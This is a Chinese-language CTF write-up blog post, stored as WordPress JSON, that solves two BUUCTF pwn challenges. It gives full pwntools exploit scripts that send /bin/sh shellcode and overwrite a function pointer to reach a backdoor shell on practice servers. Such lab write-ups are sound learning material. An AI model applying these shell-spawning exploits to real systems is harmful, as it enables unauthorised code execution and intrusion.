{"id":214,"date":"2025-07-26T14:11:11","date_gmt":"2025-07-26T06:11:11","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=214"},"modified":"2025-07-26T14:11:12","modified_gmt":"2025-07-26T06:11:12","slug":"buuctfpicoctf_2018_shellcode%e3%80%81zjctf-2019login","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/07\/26\/buuctfpicoctf_2018_shellcode%e3%80%81zjctf-2019login\/","title":{"rendered":"buuctf:picoctf_2018_shellcode\u3001[ZJCTF 2019]Login"},"content":{"rendered":"\n


1\u3001picoctf_2018_shellcode\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

32\u4f4d\u6839\u636e\u9898\u76ee\u5c31\u662f\u7528shellcode\u6765\u505a\u561b\uff0c\u5e94\u8be5\u662f\u4e2a\u9759\u6001\u7f16\u8bd1<\/p>\n\n\n\n

2\u3001picoctf_2018_shellcode\u5206\u6790<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29365)\n\nshellcode=asm(shellcraft.sh())\npayload=shellcode\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

3\u3001[ZJCTF 2019]Login\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
64\u4f4d\u6709canary\u548cNX<\/p>\n\n\n\n
\u6709\u4e24\u6b21\u8f93\u5165\uff0c\u7b2c\u4e00\u6b21\u662f\u7528\u6237\u540d\uff0c\u7b2c\u4e8c\u6b21\u662f\u5bc6\u7801<\/p>\n\n\n\n
\u53cd\u7f16\u8bd1\u51fa\u6765\u7684\u4ee3\u7801\u6709\u70b9\u4e71\uff0c\u4f46\u662f\u53d1\u73b0\u6709system\u548c\/bin\/sh\u540e\u95e8\u7684\u5730\u57400x400E88\uff0c\u597d\u5427\uff0c\u786e\u5b9e\u4e0b\u4e0d\u4e86\u624b\u554a\uff0c\u53bb\u641c\u4e86\u641c\uff0c\u662f\u8003\u9a8c\u8ffd\u8e2a\u7684\u80fd\u529b\u4e86<\/p>\n\n\n\n
\u9996\u5148\uff0c\u7528\u6237\u540d\u6211\u4eec\u8f93\u5165admin,\u7136\u540e\u4f1a\u8ba9\u6211\u4eec\u8f93\u5165\u5bc6\u7801,\u4f46\u662f\u6211\u7684ida\u91cc\u6ca1\u6709\u5bc6\u7801\u7684\u4fe1\u606f\uff0c\u5bc6\u7801\u662f2jctf_pa5sw0rd\uff0c\u7136\u540e\u8fdb\u5165password_checker\u73af\u8282<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u8fd9\u91cc\u6709\u4e00\u4e2a**a1\u80af\u5b9a\u662f\u4e00\u4e2a\u51fd\u6570\u7684\u5730\u5740<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u5c31\u662fcall _puts\u7684\u540e\u9762\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230call rax,\u60f3\u50cf\u4e00\u4e0b\u5982\u679c\u6211\u4eec\u53ef\u4ee5\u4fee\u6539rax\u7684\u503c\u4e3a\u540e\u95e8\u51fd\u6570\u7684\u5730\u5740\u662f\u4e0d\u662f\u5c31\u53ef\u4ee5\u62ffflag\u4e86\uff0c\u63a5\u4e0b\u6765\u7684\u95ee\u9898\u662f\u600e\u4e48\u6539\uff0c\u5c31\u8981\u5f00\u59cb\u6eaf\u6e90\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6700\u540e\u7ed9rax\u8d4b\u503c\u7684\u662fvar_18,\u6211\u4eec\u8981\u5728\u8fd9\u4e2a\u4f4d\u7f6e\u8be5\u6389rax,\u6211\u4eec\u53bbread password\u91cc\u627e\u627e<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8ddd\u79bb\u4e3a0x60-0x18=0x48\u4f46\u662f\u56e0\u4e3a\u6211\u4eec\u8f93\u5165\u4e86\u5bc6\u7801\u5728s\u91cc\u6240\u4ee5\u518d\u51cf\u53bb0xe\u5c31\u662f0x3a\uff0c\u8fd9\u6bb5\u90fd\u586b\u5145\\x00\uff0c\u5982\u679c\u60f3\u7b80\u5355\u4e00\u70b9\u5c31\u7528b’2jctf_pa5sw0rd’.ljust(0x48,b’\\x00′)<\/p>\n\n\n\n
\u6765\u8bd5\u8bd5\u5427<\/p>\n\n\n\n
4\u3001[ZJCTF 2019]Login\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",28982)\n\nshell=0x400E88\npayload=b'2jctf_pa5sw0rd'.ljust(0x48,b'\\x00')+p32(shell)\np.recvuntil(\"Please enter username: \")\np.sendline(b'admin')\np.recvuntil(\"Please enter password: \")\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u5c31\u5230\u8fd9\u513f\u5427\uff0c\u53bbctfshow\u5b66\u70b9\u65b0\u4e1c\u897f……<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001picoctf_2018_shellcode\u5206\u6790 32\u4f4d\u6839\u636e\u9898\u76ee\u5c31\u662f\u7528shellcode\u6765\u505a\u561b\uff0c\u5e94\u8be5\u662f\u4e2a\u9759 […]<\/p>\n","protected":false},"author":1,"featured_media":226,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-214","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/214","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=214"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/214\/revisions"}],"predecessor-version":[{"id":225,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/214\/revisions\/225"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/226"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=214"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=214"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=214"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}